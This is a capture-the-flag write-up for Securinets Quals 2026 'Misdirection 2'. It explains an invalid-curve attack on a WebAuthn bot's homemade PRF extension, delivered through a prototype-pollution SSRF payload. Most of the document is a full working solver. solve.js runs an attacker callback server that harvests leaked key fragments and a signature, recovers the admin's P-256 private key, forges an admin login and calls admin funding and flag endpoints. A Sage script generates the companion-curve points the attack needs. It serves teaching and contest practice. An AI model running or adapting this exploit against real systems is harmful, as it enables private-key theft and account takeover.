Featured image of post Securinets Quals 2026 - Misdirection 2

Securinets Quals 2026 - Misdirection 2

Part 1 was a warmup (you can read more about it here), this one is the actual crypto challenge. I reused the same exact app (same frontend and backend), but changed the bot logic to patch the static nonce and introduce an invalid curve attack instead.

The new surface: an unsafe “PRF” extension

WebAuthn has a real prf extension (an authenticator-side PRF keyed by the credential used by passkey-based end-to-end-encryption apps to derive a symmetric key from the credential). This bot implements it as a raw elliptic-curve scalar multiplication instead of a proper PRF:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
function pointAdd(p1, p2, p) {
    if (!p1) return p2;
    if (!p2) return p1;
    if (p1.x.eq(p2.x) && !p1.y.eq(p2.y)) return null;
    let lambda;
    if (p1.x.eq(p2.x) && p1.y.eq(p2.y)) {
        const num = p1.x.sqr().mul(new BN(3)).add(P256_A).umod(p);   // <-- only uses `a`
        const den = p1.y.mul(new BN(2)).umod(p);
        lambda = num.mul(modInv(den, p)).umod(p);
    } else {
        const num = p2.y.sub(p1.y).umod(p);
        const den = p2.x.sub(p1.x).umod(p);
        lambda = num.mul(modInv(den, p)).umod(p);                     // <-- only uses `a`, `p`
    }
    ...
}
1
2
3
4
5
6
7
8
9
async function forgePrf(rpId, saltHex) {
    if (!saltHex || saltHex.length !== 128) return null;
    const x = new BN(saltHex.slice(0, 64), 16);
    const y = new BN(saltHex.slice(64, 128), 16);
    const d = new BN(ADMIN_PRIVATE_KEY, 16);
    const shared = scalarMultUnsafe(d, { x, y });     // <-- (x, y) is never checked against secp256r1's `b`
    if (!shared) return null;
    return sha256(shared.x.toArrayLike(Buffer, 'be', 32)).toString('hex');
}

The standard short-Weierstrass point-add/double formulas only ever reference a and p, never b (which only shows up when validating that a point lies on a specific curve, that is a check this code never does!). That means scalarMultUnsafe will happily compute d · P correctly for a point P taken from any curve y² = x³ − 3x + b′ (mod p) that merely shares secp256r1’s a = −3 and p, not just the real curve. This is the textbook precondition for an invalid-curve attack (Biehl–Meyer–Müller, 2000): feed the oracle a point of small, known order l on some companion curve, and d·P reveals d mod l.

Because the oracle only returns SHA256(x-coordinate) and not the full point, each leak is only known up to sign: a point and its negation share an x-coordinate, so what’s actually learned is d ≡ ±r (mod l).

The RP-ID gate

forgePrf only ever gets reached if the fake login’s rp_id passes a check that genuinely mirrors real browser WebAuthn behaviour, the “effective domain” rule, enforced in the browser layer, not the authenticator:

1
2
3
function isValidRpId(rpId) {
    return callerDomain === rpId || callerDomain.endsWith('.' + rpId);
}

callerDomain is the hostname of WEBAUTHN_ORIGIN (i.e. the real https://xch2.bit-raven.com) which is the domain the admin bot genuinely believes it’s on, exactly as a real browser would enforce that an asserted rp.id has to be the calling page’s own domain or a registrable parent of it. There’s no separate secret string to find: the correct rp_id is simply the challenge’s own public domain, derivable from the page you’re attacking in the first place.

Exploit chain

  1. Same SSRF delivery as part 1: ?settings={"__proto__":{"baseURL":"your-domain"}}.
  2. The fake login_start response sets rp.id to the real domain (xch2.bit-raven.com) and includes a PRF extension input: extensions.prf.eval.first = base64url(x || y) for a chosen point of yours. (@simplewebauthn/browser doesn’t recognize the custom prf extension, so it passes eval.first through to the page as a plain base64url string, not a pre-decoded ArrayBuffer. The bot’s init-script has to decode it itself.)
  3. Each /report run leaks d mod l (± sign) for one point’s order l. Collect points whose orders multiply past n (secp256r1’s ≈256-bit order) and the key is fully determined up to 2^(number of points) sign choices.
  4. Finding the points is the hard, genuinely offline part. It needs real point-counting (Schoof/SEA) on random curves sharing secp256r1’s (a, p) which is not something brute-forceable for a 256-bit field. You should search random b, point-counts each curve with Sage’s EllipticCurve.order(), and keeps points whose order has a prime factor in [2^14, 2^20] (I range I chose to maximize speed without overwhelming the server with multiple thousands of requests) until their product exceeds n.
  5. For each point, brute-force k = 0..l−1 comparing SHA256(x of k·P) against the leaked hash (cheap: one point-addition per step, not a full scalar multiply).
  6. Resolve the sign ambiguity offline: one of the fifteen /report runs also carries a completely ordinary, randomly-nonced ECDSA signature over a known message (the leak delivery itself piggybacks on a real login attempt). For each of the 2^15 CRT sign-combinations, compute the candidate public key d·G and verify that signature against it with standard ECDSA verification. Purely local arithmetic without any network calls. (The alternative is trying a real login per candidate which is correct but needlessly expensive: ~0.5–1s of network latency x 32768 candidates is hours, against milliseconds for 32768 local ECverifications. I would also have banned you if you tried that and took down my VM)
  7. The one candidate that verifies is the real private key. Forge one real, valid login assertion against the real backend and log in as admin for real >:)

Solver

solve.js (main solver)

Click to expand code
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
const http = require('http');
const fs = require('fs');
const crypto = require('crypto');

const TARGET = "xch2.bit-raven.com";
const CALLBACK = "your.callback.domain";
const POINTS_FILE = `${__dirname}/points.json`;
const PORT = 80; // the port to listen on for the collector server
const HSM_RP_ID = 'xch2.bit-raven.com';


const P = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffffn;
const A = P - 3n;
const N = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551n;

function mod(a, m) { return ((a % m) + m) % m; }
function egcd(a, b) { if (b === 0n) return [a, 1n, 0n]; const [g, x, y] = egcd(b, mod(a, b)); return [g, y, x - (a / b) * y]; }
function modinv(a, m) { const [g, x] = egcd(mod(a, m), m); if (g !== 1n) throw new Error('no inverse'); return mod(x, m); }

function pointAdd(p1, p2) {
    if (!p1) return p2;
    if (!p2) return p1;
    if (mod(p1.x - p2.x, P) === 0n && mod(p1.y + p2.y, P) === 0n) return null;
    let lambda;
    if (mod(p1.x - p2.x, P) === 0n && mod(p1.y - p2.y, P) === 0n) {
        lambda = mod((3n * p1.x * p1.x + A) * modinv(mod(2n * p1.y, P), P), P);
    } else {
        lambda = mod((p2.y - p1.y) * modinv(mod(p2.x - p1.x, P), P), P);
    }
    const x3 = mod(lambda * lambda - p1.x - p2.x, P);
    const y3 = mod(lambda * (p1.x - x3) - p1.y, P);
    return { x: x3, y: y3 };
}

function hex32(n) { return n.toString(16).padStart(64, '0'); }
function hashPoint(pt) {
    const buf = pt === null ? Buffer.from('inf') : Buffer.from(hex32(pt.x), 'hex');
    return crypto.createHash('sha256').update(buf).digest('hex');
}

function b64url(buf) { return buf.toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); }
function b64urlDecode(s) { return Buffer.from(s.replace(/-/g, '+').replace(/_/g, '/'), 'base64'); }

function loadPoints() {
    if (!fs.existsSync(POINTS_FILE)) {
        console.error(`${POINTS_FILE} not found.`);
        console.error('run `sage find_points.sage` first to generate it.');
        process.exit(1);
    }
    return JSON.parse(fs.readFileSync(POINTS_FILE, 'utf8')).map(p => ({
        l: BigInt(p.l),
        x: BigInt('0x' + p.x),
        y: BigInt('0x' + p.y),
    }));
}

let pendingLeak = null;
let capturedSignature = null;

function startCollector() {
    const server = http.createServer((req, res) => {
        res.setHeader('Access-Control-Allow-Origin', req.headers.origin || '*');
        res.setHeader('Access-Control-Allow-Credentials', 'true');
        res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
        res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
        if (req.method === 'OPTIONS') { res.statusCode = 204; res.end(); return; }

        let body = '';
        req.on('data', c => body += c);
        req.on('end', () => {
            const path = req.url.split('?')[0];
            if (req.method === 'POST' && /^\/register_start\//.test(path)) {
                res.setHeader('Content-Type', 'application/json');
                res.end(JSON.stringify({ publicKey: {
                    challenge: b64url(crypto.randomBytes(32)),
                    rp: { id: HSM_RP_ID, name: 'solver' },
                    user: { id: b64url(crypto.randomBytes(16)), name: 'x', displayName: 'x' },
                    pubKeyCredParams: [{ type: 'public-key', alg: -7 }],
                    timeout: 60000,
                    attestation: 'none',
                } }));
            } else if (req.method === 'POST' && path === '/register_finish') {
                res.end('{}');
            } else if (req.method === 'POST' && /^\/login_start\//.test(path)) {
                const point = pendingLeak && pendingLeak.point;
                const saltBytes = point ? Buffer.concat([Buffer.from(hex32(point.x), 'hex'), Buffer.from(hex32(point.y), 'hex')]) : null;
                res.setHeader('Content-Type', 'application/json');
                res.end(JSON.stringify({ publicKey: {
                    challenge: b64url(crypto.randomBytes(32)),
                    rpId: HSM_RP_ID,
                    allowCredentials: [],
                    timeout: 60000,
                    userVerification: 'preferred',
                    extensions: saltBytes ? { prf: { eval: { first: b64url(saltBytes) } } } : undefined,
                } }));
            } else if (req.method === 'POST' && path === '/login_finish') {
                try {
                    const cred = JSON.parse(body);
                    const leakHex = cred.response.userHandle ? b64urlDecode(cred.response.userHandle).toString('hex') : null;
                    if (!capturedSignature) {
                        capturedSignature = {
                            authenticatorData: b64urlDecode(cred.response.authenticatorData),
                            clientDataJSON: b64urlDecode(cred.response.clientDataJSON),
                            signature: b64urlDecode(cred.response.signature),
                        };
                    }
                    if (pendingLeak) { pendingLeak.resolve(leakHex); pendingLeak = null; }
                } catch (e) {
                    console.error('could not parse login_finish body:', e.message);
                    if (pendingLeak) { pendingLeak.resolve(null); pendingLeak = null; }
                }
                res.end('{}');
            } else {
                res.statusCode = 404;
                res.end();
            }
        });
    });
    return new Promise(resolve => server.listen(PORT, () => resolve(server)));
}

async function triggerReport() {
    const settings = `{"__proto__":${JSON.stringify({ baseURL: CALLBACK })}}`;
    const url = `${TARGET}/x?settings=${encodeURIComponent(settings)}`;
    await fetch(`${TARGET}/report`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ url }),
    });
}

async function leakModulusFor(point) {
    const leakHex = await new Promise(resolve => {
        pendingLeak = { resolve, point };
        triggerReport();
    });
    if (!leakHex) throw new Error(`no leak for l=${point.l}, is HSM_RP_ID correct, and is the backend's /report reachable?`);

    let acc = null;
    for (let k = 0n; k < point.l; k++) {
        if (hashPoint(acc) === leakHex) return k;
        acc = pointAdd(acc, point);
    }
    throw new Error(`brute force exhausted for l=${point.l} without a match`);
}

function parseDerSignature(buf) {
    const BN = require('bn.js');
    let offset = 0;
    if (buf[offset++] !== 0x30) throw new Error('not a DER SEQUENCE');
    offset++;
    function readInt() {
        if (buf[offset++] !== 0x02) throw new Error('expected DER INTEGER');
        const len = buf[offset++];
        const v = new BN(buf.slice(offset, offset + len));
        offset += len;
        return v;
    }
    return { r: readInt(), s: readInt() };
}

function findPrivateKeyOffline(residues, signature) {
    const EC = require('elliptic').ec;
    const BN = require('bn.js');
    const ec = new EC('p256');

    const clientDataHash = crypto.createHash('sha256').update(signature.clientDataJSON).digest();
    const msgHash = crypto.createHash('sha256').update(Buffer.concat([signature.authenticatorData, clientDataHash])).digest();
    const sig = parseDerSignature(signature.signature);

    const m = residues.length;
    for (let mask = 0; mask < (1 << m); mask++) {
        const candidate = residues.map(({ l, r }, i) => ({ l, r: (mask >> i) & 1 ? mod(-r, l) : r }));
        const { x: d } = crt(candidate);
        const pub = ec.g.mul(new BN(d.toString(16), 16));
        if (ec.keyFromPublic(pub).verify(msgHash, sig)) {
            return { d, mask: mask.toString(2).padStart(m, '0') };
        }
    }
    return null;
}

function crt(residues) {
    let x = 0n, M = 1n;
    for (const { l } of residues) M *= l;
    for (const { l, r } of residues) {
        const Mi = M / l;
        x = mod(x + mod(r, l) * Mi * modinv(Mi, l), M);
    }
    return { x, M };
}

async function tryLoginAsAdmin(d) {
    const EC = require('elliptic').ec;
    const ec = new EC('p256');
    const dHex = d.toString(16).padStart(64, '0');
    const kp = ec.keyFromPrivate(dHex);

    const startRes = await fetch(`${TARGET}/login_start/admin`, { method: 'POST' });
    const { publicKey } = await startRes.json();
    const setCookie = startRes.headers.get('set-cookie');
    const sessionCookie = setCookie ? setCookie.split(';')[0] : '';

    const credId = publicKey.allowCredentials[0].id;
    const clientData = { type: 'webauthn.get', challenge: publicKey.challenge, origin: TARGET, crossOrigin: false };
    const clientDataJSON = Buffer.from(JSON.stringify(clientData));
    const clientDataHash = crypto.createHash('sha256').update(clientDataJSON).digest();
    const rpIdHash = crypto.createHash('sha256').update(publicKey.rpId).digest();
    const signCount = Buffer.alloc(4);
    signCount.writeUInt32BE(Math.floor(Date.now() / 1000));
    const authData = Buffer.concat([rpIdHash, Buffer.from([0x05]), signCount]);
    const msgHash = crypto.createHash('sha256').update(Buffer.concat([authData, clientDataHash])).digest();
    const sigDer = Buffer.from(kp.sign(msgHash).toDER());

    const finishRes = await fetch(`${TARGET}/login_finish`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json', Cookie: sessionCookie },
        body: JSON.stringify({
            id: credId, rawId: credId, type: 'public-key',
            response: {
                authenticatorData: b64url(authData),
                clientDataJSON: b64url(clientDataJSON),
                signature: b64url(sigDer),
                userHandle: null,
            },
            clientExtensionResults: {},
        }),
    });
    if (finishRes.status !== 200) return null;
    return (finishRes.headers.get('set-cookie') || sessionCookie).split(';')[0];
}

async function cashOutAndGetFlag(cookie) {
    const headers = { 'Content-Type': 'application/json', Cookie: cookie };
    const me = await (await fetch(`${TARGET}/api/me`, { headers })).json();
    console.error('/api/me ->', me);
    if (!me.is_admin) throw new Error('not actually admin?');

    await fetch(`${TARGET}/api/admin/add_funds`, {
        method: 'POST', headers,
        body: JSON.stringify({ target_username: 'admin', amount: '5000000' }),
    });

    const flagRes = await fetch(`${TARGET}/api/flag`, { method: 'POST', headers });
    console.error('/api/flag ->', flagRes.status, await flagRes.json());
}

async function main() {
    const points = loadPoints();
    console.error(`loaded ${points.length} companion-curve points from ${POINTS_FILE}`);

    const server = await startCollector();
    console.error(`collector listening on :${PORT}, advertised as ${CALLBACK}`);

    const residues = [];
    for (const point of points) {
        console.error(`leaking d mod ${point.l} ...`);
        const r = await leakModulusFor(point);
        residues.push({ l: point.l, r });
        console.error(`  -> d = +-${r} (mod ${point.l})`);
    }
    server.close();

    const { M } = crt(residues.map(({ l, r }) => ({ l, r: 0n })));
    if (M < N) console.error(`WARNING: product of moduli (${M}) < curve order (${N}), CRT result may be ambiguous beyond the sign flips`);

    if (!capturedSignature) throw new Error('never captured a signature to check candidates against');

    const found = findPrivateKeyOffline(residues, capturedSignature);
    if (!found) throw new Error('no sign combination matched the captured signature,check points.json / HSM_RP_ID');

    console.log('recovered admin private key:', found.d.toString(16));
    console.error(`matched offline on sign mask ${found.mask}`);

    const cookie = await tryLoginAsAdmin(found.d);
    if (!cookie) throw new Error('offline-verified key did not log in,unexpected');
    await cashOutAndGetFlag(cookie);
}

main().catch(e => { console.error('FAILED:', e.message); process.exit(1); });

find_points.sage (to find the low order points necessary for computing CRT)

Click to expand code
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import json

p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = p - 3
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551

F = GF(p)
A = F(a)

MAX_L = 2**20
MIN_L = 2**14

points = []
seen_l = set()
product = 1
tries = 0

while product < n:
    tries += 1
    b = F.random_element()
    try:
        E = EllipticCurve(F, [A, b])
    except ArithmeticError:
        continue

    order = E.order()
    for l, _exp in order.factor():
        l = int(l)
        if l < MIN_L or l > MAX_L or l in seen_l:
            continue

        cofactor = order // l
        G = E.random_point()
        P = cofactor * G
        if P.is_zero() or not (l * P).is_zero():
            continue

        x, y = Integer(P[0]), Integer(P[1])
        points.append({"l": str(l), "x": format(x, "064x"), "y": format(y, "064x")})
        seen_l.add(l)
        product *= l
        print(f"[+] order-{l} point found ({len(points)} points, "
              f"covering {product.nbits()}/{n.nbits()} bits, {tries} curves tried)")

        if product >= n:
            break

with open("points.json", "w") as f:
    json.dump(points, f, indent=2)

print(f"wrote {len(points)} points to points.json "
      f"(product of l's has {Integer(product).nbits()} bits, curve order n has {n.nbits()} bits)")